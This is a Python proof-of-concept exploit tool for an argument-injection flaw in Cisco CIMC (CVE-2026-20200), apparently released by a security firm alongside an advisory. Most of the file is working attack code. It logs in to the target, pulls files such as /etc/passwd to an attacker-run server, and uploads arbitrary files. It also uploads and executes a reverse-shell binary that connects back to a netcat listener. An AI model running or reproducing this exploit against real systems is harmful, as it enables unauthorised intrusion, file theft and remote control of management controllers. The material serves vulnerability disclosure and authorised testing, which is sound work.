CIMCown.py

#!/usr/bin/python3
"""
Exploit for CVE-2026-20200: Argument Injection in Cisco CIMC with RCE exploit
Christoph Peil @ NSIDE ATTACK LOGIC 2026


CVE: CVE-2026-20200
CVSS (3.1):   
Advisory: https://www.nsideattacklogic.de/advisories/NSIDE-SA-2026-003/ 
Blogpost: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/


This proof-of-concept is for demonstration purposes and should not be used for illegal activities.
NSIDE ATTACK LOGIC is not responsible for any damage caused by the use or misuse of this code.

For reverse shell to work, you first have to set your local IP in the file "./shell/reverse_shell.go"
to the local IP of the attacker system, and build it with the action '-a build'.

Installation:
sudo apt install golang-go
pip install -r requirements.txt

Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
  -h, --help            show this help message and exit
  --proxy PROXY         Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
  -t, --host HOST       Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
  -U, --username USERNAME
  -P, --password PASSWORD
  -a, --action ACTION   Action: test, download, upload, build, shell (default: test)
						Test will connect to the CIMC and download the file /etc/passwd
  -u, --uploadFile UPLOADFILE
                        File to upload
  -p, --remoteFile REMOTEFILE
                        Remote file path to upload to
  -d, --downloadFile DOWNLOADFILE
                        File to download, is saved into 'Download'
  -v, --verbose         Displays more information about cimc
  

"""
import os
import json
import urllib3
from Cryptodome.Cipher import AES
import argparse
import time
import threading
from pathlib import Path
import shutil
import tempfile




def headers():
	print("""
 ___oooo___oooo_ooo_____ooo____oooo______________________________
_oo____oo__oo__oooo___oooo__oo____oo__ooooo__oo_______o_oo_ooo__
oo_________oo__oo_oo_oo_oo_oo________oo___oo_oo__oo___o_ooo___o_
oo_________oo__oo__ooo__oo_oo________oo___oo_oo__oo___o_oo____o_
_oo____oo__oo__oo_______oo__oo____oo_oo___oo__oo_oo__o__oo____o_
___oooo___oooo_oo_______oo____oooo____ooooo____oo__oo___oo____o_
________________________________________________________________                                                                              
		""")
	print("~ Because every vulnerability needs a cool tool")
	print("~ pec @ NSIDE | v0.2\n")
	print("Big Thx to ~AThacker @ LRQA Nettitude for CISCown Authentication | v0.2\n")
	print("This proof-of-concept is for demonstration purposes and should not be used for illegal activities.\nNSIDE ATTACK LOGIC is not responsible for any damage caused by the use or misuse of this code.")




## To ignore warnings regarding a "selfsigned" cert
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

######################################
#### Define global variables #########

## Create used tempfolder
temp_dir = tempfile.TemporaryDirectory()
revShellIP = ""
revShellPort = 4444

######################################

## Get basic information regarding the host and session
### lreq[1] = cookie
### lreq[2] = SID

def get_host_info(target, lreq):
	"""
	get_host_info sends out a query to the Cisco IMC
	to fetch information about the host and current session

	<lreq> is an array created at login, containing the following information:
	lreq[0] = <bool> Login successfull
	lreq[1] = Cookie
	lreq[2] = SID
	lreq[3] = <bool> isAdmin
	lreq[4] = local IP of the client logged in
	"""

	response = query_raw(
		target,
		lreq[1],
		lreq[2],
		'{"commands":[{"command":"cisco_get_data","parameter":{"key":"sessionData"}}]}',
		'/ciscodata')
	resJson = json.loads(response.content)
	if response.status_code == 200 :
		ciscoData = resJson["cisco_get_data"]
		sessionData = ciscoData["sessionData"]
		print(f'cimcIp: {ciscoData["cimcIp"]}')
		print(f'sysPlatformId: {ciscoData["sysPlatformId"]}')
		print(f'cimcVersion: {ciscoData["cimcVersion"]}')
		print(f'hostname: {ciscoData["hostname"]}')
		print(f'sessionId: {sessionData["sessionId"]}')
		print(f'userPrivilege: {sessionData["userPrivilege"]}')
		print(f'intersightMode: {sessionData["intersightMode"]}')
		print(f'clientIP: {sessionData["clientIP"]}')
		
	else:
		raise Exception("[!] \t\tsessionData returned weird results")
	

def uploadFile(target, lreq, localFile, remoteFilePath):
	"""
	uploadFile is used to upload a file to the <target> Cisco IMC.
	It first creates a temporary copy of the <localFile>,
	starts the webserver with the temp directory as base dir in a new thread,
	and sends a exploit request to upload the <localFile> to the <remoteFilePath>,
	also in a separate thread. 
	
	<lreq> is an array created at login, containing the following information:
	lreq[0] = <bool> Login successfull
	lreq[1] = Cookie
	lreq[2] = SID
	lreq[3] = <bool> isAdmin
	lreq[4] = local IP of the client logged in
	"""
	# Fetch all needed values from lreq
	cookieValue = lreq[1]
	sidValue = lreq[2]
	hostIP = lreq[4]	
	hostPort = 80

	filename = os.path.basename(localFile)
	# Check if file exists, and proceed
	my_file = Path(localFile)
	if my_file.is_file():
		# Copy file to temporary directory
		shutil.copy(localFile,temp_dir.name)
		
		# Wait till listening port is open and ready
		while check_port(hostPort):
			time.sleep(1)
			print("[$] \tWaiting for open port...")
		time.sleep(0.5)

		# Start file hosting server in separate thread	
		server = threading.Thread(target=startHTTPserverUpload, args=(hostPort,temp_dir.name,))
		server.start()

		# Upload file with "query_uploadFile" in new thread
		upload = threading.Thread(
			target=query_uploadFile,
			args=(target, cookieValue, sidValue, hostIP, filename, remoteFilePath,))
		upload.start()
		upload.join(timeout=10)

		# Wait for all threads to finish
		if server.is_alive():
			print("[!] \t\tupload server did not close")
		if upload.is_alive():
			print("[!] \t\tupload request did not close")
		return "[#] \t\tFile [FILE] uploaded successfully to [PATH]".replace("[FILE]",filename).replace("[PATH]",remoteFilePath)
	else:
		raise Exception("[!] \t\tUploadable File does not exist")
	
def downloadFile(target, lreq, remoteFilePath):
	"""
	downloadFile is used to download a file from the <target> Cisco IMC.
	Checks, if everything is ready for download, 
	starts the webserver with the download dir as base dir in a new thread,
	ready to receive files with POST requests,
	and sends a exploit request to download the <remoteFilePath> to local machine,
	also in a new thread. 
	
	<lreq> is an array created at login, containing the following information:
	lreq[0] = <bool> Login successfull
	lreq[1] = Cookie
	lreq[2] = SID
	lreq[3] = <bool> isAdmin
	lreq[4] = local IP of the client logged in
	"""

	# Fetch all needed values from lreq
	cookieValue = lreq[1]
	sidValue = lreq[2]
	hostIP = lreq[4]	
	hostPort = 80

	# Create download folder if not there
	create_folder("./download")

	# Check if server ports from previous actions are 
	while check_port(hostPort):
		time.sleep(0.5)
		print("[$] \tWaiting for open port...")

	# Start server to receive file in a new thread
	server = threading.Thread(target=startHTTPserverDownload, args=(hostPort,'./download',))
	server.start()
	
	# Start the query "query_downloadFile" for file download in a new thread
	download = threading.Thread(
			target=query_downloadFile,
			args=(target, cookieValue, sidValue, hostIP, remoteFilePath,))
	download.start()
	server.join(timeout=240)
	download.join(timeout=10)

	# Wait for all threads to finish
	if server.is_alive():
		print("[!] \t\treceiving server did not close")
	if download.is_alive():
		print("[!] \t\tdownload request did not close")
	return "[#] \t\tFile %s download successfully" % remoteFilePath

def createNCRevShell(target, lreq):
	"""
	createNCRevShell uploads a pre-compiled executable library
	and reverse-shell to the Cisco IMC <target>, to gain a
	reverse shell which connects back to the attacker machine
	to a listening netcat socket.
	
	<lreq> is an array created at login, containing the following information:
	lreq[0] = <bool> Login successfull
	lreq[1] = Cookie
	lreq[2] = SID
	lreq[3] = <bool> isAdmin
	lreq[4] = local IP of the client logged in
	"""

	# Set all needed values
	cookieValue = lreq[1]
	sidValue = lreq[2]
	hostIP = lreq[4]	
	hostPort = 80
	revShell = "./shell/revshell"
	revLib = "./shell/lib.so"
	revIP = revShellIP
	revPort = revShellPort
	remoteRevShellPath = "/tmp/main"
	remoteRevLibPath = "/tmp/lib.so"

	### Pre-Check
	## Check if netcat is avaiable
	nc = "nc"
	if not shutil.which(nc):
		# Fallback to known terminals, if x-terminal-emulator is missing
		fallbacks = ["ncat", "netcat"]
		nc = next((t for t in fallbacks if shutil.which(t)), None)
	if not nc:
		raise Exception("[!] - No supported netcat version found.")
	# Check for RevShel binary
	if not os.path.isfile(revShell):
		raise Exception(f"[!]\tNo revshell {revShell} found. Try building it with action 'build'")
	# Check for RevShel library
	if not os.path.isfile(revLib):
		raise Exception(f"[!]\tNo revLib {revLib} found. Try building it with action 'build'")

	## Starting netcat listener in new detached window
	print("[#] \t\tStarting netcat listener .....")
	start_terminal(f"{nc} -lvp {revPort}")
	# sleep for 5 seconds, because nc sometimes takes a bit time
	time.sleep(5)

	# Upload revShell library
	uploadFile(target,lreq,revLib,remoteRevLibPath)
	print ("[#] \t\tRevShell uploaded successfully")
	time.sleep(2)

	# Upload revShell golang binary
	uploadFile(target,lreq,revShell,remoteRevShellPath)
	print ("[#] \t\tLib uploaded successfully")
	time.sleep(2)

	# send exploit query executing the library and binary
	# on the cisco IMC in a new thread
	execute = threading.Thread(
			target=query_executeFile,
			args=(target, cookieValue, sidValue, hostIP, remoteRevLibPath,))
	execute.start()
	execute.join(5)
	return "[#] \t\tShell uploaded and executed successfully"


## Main part with all flags and arguments

if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("-t","--host", type=str, help="Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)", required=True)
	parser.add_argument("-U","--username", type=str,  default="admin", help="Username (default: admin)", required=True)
	parser.add_argument("-P","--password", type=str,  default="cisco", help="Password (default: cisco)", required=True)
	parser.add_argument("-a","--action", type=str, default="test", help="Action: test, download, upload, build, shell (default: test)")
	parser.add_argument("-u","--uploadFile", type=str, default="", help="File to upload")
	parser.add_argument("-p","--remoteFile", type=str, default="", help="Remote file path to upload to")
	parser.add_argument("-d","--downloadFile", type=str, default="", help="File to download, is saved into './Download'")
	parser.add_argument("--proxy", type=str, default="None", help="Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)")
	parser.add_argument("-v","--verbose", default=False, action='store_true', help="Displays more information about cimc")
	args = parser.parse_args()

	### Description:
	# lreq[0] = <bool> Login successful
	# lreq[1] = Cookie
	# lreq[2] = SID
	# lreq[3] = <bool> isAdmin
	# lreq[4] = Client IP from session

	headers()
	
	## set Proxy if flag is given
	os.environ["PROXY_CIMC"] = args.proxy
	if os.environ["PROXY_CIMC"] == "None":
		proxy = None
	else:
		proxy = os.environ["PROXY_CIMC"]
		
	from authentication import *
	from fileserver import *
	from util import *

	# Login Attempt with given username and password
	print("")
	print("######################################################")
	print(f"[#]\tAttempting login as: {args.username}")
	"""
	# populate lreq
	lreq[0] = <bool> Login successfull
	lreq[1] = Cookie
	lreq[2] = SID
	lreq[3] = <bool> isAdmin
	lreq[4] = local IP of the client logged in
	"""
	lreq = login(args.host, args.username, args.password)
	
	## When lreq[0] is true, login was successful, proceed
	if lreq[0]:
		try:
			print("[#] \t\tLogin: successful")
			revShellIP = lreq[4]

			# if Verbose flag is given, output more information
			if args.verbose:
				print("[#] \t\tGathering CIMC info:")
				get_host_info(args.host,lreq)
				print("")

			############################################################
			# DEFAULT ACTION
			# ACTION = TEST
			# download and print /etc/passwd from Cisco IMC
			if args.action == "test":
				print("[#] \t\tAction: test (download /etc/passwd)")
				out = downloadFile(args.host, lreq, '/etc/passwd')
				if out:
					file_path = Path('./download/passwd')
					print(file_path)
					if file_path.is_file():
						print("[#] \t\tTest successful!")
						print("[#] \t\t/etc/passwd")
						print(file_path.read_text())
						os.remove(file_path)
					else:
						print("[!] \t\tTest unsuccesful")
						print("[!] \t\tFile not read")				
				else:
					print("[!] \t\tSomething went wrong testing")
			
			############################################################
			# ACTION = UPLOAD
			# Uploads file to Cisco IMC
			elif args.action == "upload":
				print(f"[#] \t\tAction: Upload File")
				print(f"[#] \t\tLocal File: {args.uploadFile}")
				print(f"[#] \t\tRemote File Path: {args.remoteFilePath}")
				out = uploadFile(args.host, lreq, args.uploadFile, args.remoteFilePath)
				if out:
					print(out)
				else:
					print("[!] \t\tSomething went wrong")
			
			############################################################
			# ACTION = DOWNLOAD
			# Downloads defined file from Cisco IMC
			elif args.action == "download":
				print(f"[#] \t\tAction: Download File")
				print(f"[#] \t\tRemote File Path: {args.downloadFile}")
				out = downloadFile(args.host, lreq, args.downloadFile)
				if out:
					print(out)
				else:
					print("[!] \t\tSomething went wrong")

			############################################################
			# ACTION = BUILD
			# Locally builds the library and go binary for reverse shell
			# !! Library Build deactivated due to build errors on some systems

			elif args.action == "build":
				print(f"[#] \t\tAction: Build Reverse Shell")
				revIP = lreq[4]
				revPort = revShellPort
				print("[#] \t\tBuidling Go binary")
				buildGo(revIP, revPort)
				print("[#] \t\tBuidling Library")
				
				## Not needed / not supported everywhere
				#buildLib()
				
			############################################################
			# ACTION = SHELL
			# Uploads and executes the reverse shell library and binary

			elif args.action == "shell":
				print(f"[#] \t\tAction: Upload and Execute Reverse Shell")
				out = createNCRevShell(args.host, lreq)
				if out:
					print(out)
				else:
					print("[!] \t\tSomething went wrong")
				
			############################################################
			# ACTION = Unknown
			# Unknown error
			else:
				print("Action: unknown")
		
		# Cleanup temp dir and logout after everything is done
		# Else we can run in a session limit on the Cisco IMC 
		finally:
			logout(args.host, lreq[2], lreq[1])
			temp_dir.cleanup()
	else:
		print("Login: unsuccessful")